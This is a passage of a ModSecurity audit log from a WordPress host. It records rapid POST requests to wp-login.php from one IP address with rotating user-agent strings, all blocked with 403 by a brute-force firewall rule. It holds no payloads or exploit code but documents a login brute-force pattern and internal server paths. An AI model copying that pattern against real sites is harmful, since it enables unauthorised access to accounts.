X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313990219154 13661 (- - -)
Stopwatch2: 1789313990219154 13661; combined=24264, p1=243, p2=69, p3=0, p4=0, p5=12120, sr=85, sw=0, l=0, gc=11832
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6932441-Z--
--cda2211f-A--
[13/Sep/2026:18:39:50.610760 +0300] aqbDxvut1GUrjaX0wO45MwAAANQ 134.185.87.66 54326 127.0.0.1 7081
--cda2211f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--cda2211f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cda2211f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313990609094 1727 (- - -)
Stopwatch2: 1789313990609094 1727; combined=619, p1=248, p2=106, p3=0, p4=0, p5=265, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cda2211f-Z--
--e61fee54-A--
[13/Sep/2026:18:39:51.005897 +0300] aqbDx-ut1GUrjaX0wO45OQAAAMQ 134.185.87.66 54400 127.0.0.1 7081
--e61fee54-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e61fee54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e61fee54-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991003918 2034 (- - -)
Stopwatch2: 1789313991003918 2034; combined=786, p1=391, p2=88, p3=0, p4=0, p5=307, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e61fee54-Z--
--d1f55d6e-A--
[13/Sep/2026:18:39:51.389033 +0300] aqbDx0hjHs68UzErry1K5AAAAIY 134.185.87.66 54466 127.0.0.1 7081
--d1f55d6e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d1f55d6e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d1f55d6e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991387369 1728 (- - -)
Stopwatch2: 1789313991387369 1728; combined=576, p1=268, p2=86, p3=0, p4=0, p5=222, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d1f55d6e-Z--
--6aaec331-A--
[13/Sep/2026:18:39:51.770125 +0300] aqbDx-ut1GUrjaX0wO45QQAAAMU 134.185.87.66 54500 127.0.0.1 7081
--6aaec331-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6aaec331-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6aaec331-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991768066 2125 (- - -)
Stopwatch2: 1789313991768066 2125; combined=648, p1=350, p2=80, p3=0, p4=0, p5=218, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6aaec331-Z--
--7754f62f-A--
[13/Sep/2026:18:39:52.150016 +0300] aqbDyPut1GUrjaX0wO45RQAAAM0 134.185.87.66 54524 127.0.0.1 7081
--7754f62f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7754f62f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7754f62f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992148150 1921 (- - -)
Stopwatch2: 1789313992148150 1921; combined=588, p1=269, p2=81, p3=0, p4=0, p5=238, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7754f62f-Z--
--2323c26e-A--
[13/Sep/2026:18:39:52.547838 +0300] aqbDyPut1GUrjaX0wO45RwAAAM8 134.185.87.66 54538 127.0.0.1 7081
--2323c26e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2323c26e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2323c26e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992546117 1784 (- - -)
Stopwatch2: 1789313992546117 1784; combined=651, p1=254, p2=69, p3=0, p4=0, p5=328, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2323c26e-Z--
--7456c95a-A--
[13/Sep/2026:18:39:52.932883 +0300] aqbDyPut1GUrjaX0wO45SQAAAME 134.185.87.66 54560 127.0.0.1 7081
--7456c95a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7456c95a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7456c95a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992931110 1841 (- - -)
Stopwatch2: 1789313992931110 1841; combined=648, p1=256, p2=80, p3=0, p4=0, p5=311, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7456c95a-Z--
--9efaaf47-A--
[13/Sep/2026:18:39:53.325690 +0300] aqbDyRsbgHO3aGL3jiTwxAAAAAQ 134.185.87.66 54580 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313993323780 1965 (- - -)
Stopwatch2: 1789313993323780 1965; combined=641, p1=270, p2=114, p3=0, p4=0, p5=256, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9efaaf47-Z--
--f26d3b61-A--
[13/Sep/2026:18:39:53.710075 +0300] aqbDyVdqBhgxDSpG7haLHwAAAEk 134.185.87.66 54600 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313993707007 3221 (- - -)
Stopwatch2: 1789313993707007 3221; combined=1136, p1=488, p2=135, p3=0, p4=0, p5=513, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f26d3b61-Z--
--755f822c-A--
[13/Sep/2026:18:39:54.097731 +0300] aqbDyvut1GUrjaX0wO45TQAAAMI 134.185.87.66 54620 127.0.0.1 7081
--755f822c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--755f822c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--755f822c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994094524 3373 (- - -)
Stopwatch2: 1789313994094524 3373; combined=1380, p1=586, p2=194, p3=0, p4=0, p5=600, sr=247, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--755f822c-Z--
--6a688857-A--
[13/Sep/2026:18:39:54.508839 +0300] aqbDyvut1GUrjaX0wO45VQAAAMQ 134.185.87.66 54708 127.0.0.1 7081
--6a688857-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--6a688857-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6a688857-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994507069 1835 (- - -)
Stopwatch2: 1789313994507069 1835; combined=580, p1=218, p2=60, p3=0, p4=0, p5=302, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6a688857-Z--
--d0953216-A--
[13/Sep/2026:18:39:54.920693 +0300] aqbDykhjHs68UzErry1K5wAAAJI 134.185.87.66 54792 127.0.0.1 7081
--d0953216-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d0953216-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d0953216-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994919049 1716 (- - -)
Stopwatch2: 1789313994919049 1716; combined=558, p1=219, p2=106, p3=0, p4=0, p5=233, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d0953216-Z--
--c460322e-A--
[13/Sep/2026:18:39:55.318028 +0300] aqbDy-ut1GUrjaX0wO45YwAAANg 134.185.87.66 54846 127.0.0.1 7081
--c460322e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c460322e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c460322e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313995316300 1782 (- - -)
Stopwatch2: 1789313995316300 1782; combined=582, p1=231, p2=123, p3=0, p4=0, p5=228, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c460322e-Z--
--a088483d-A--
[13/Sep/2026:18:39:55.698199 +0300] aqbDy-ut1GUrjaX0wO45ZwAAANQ 134.185.87.66 57388 127.0.0.1 7081
--a088483d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--a088483d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a088483d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313995696504 1773 (- - -)
Stopwatch2: 1789313995696504 1773; combined=640, p1=295, p2=67, p3=0, p4=0, p5=278, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a088483d-Z--
--014bb85b-A--
[13/Sep/2026:18:39:56.159515 +0300] aqbDzPut1GUrjaX0wO45aQAAANc 134.185.87.66 57400 127.0.0.1 7081
--014bb85b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--014bb85b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--014bb85b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
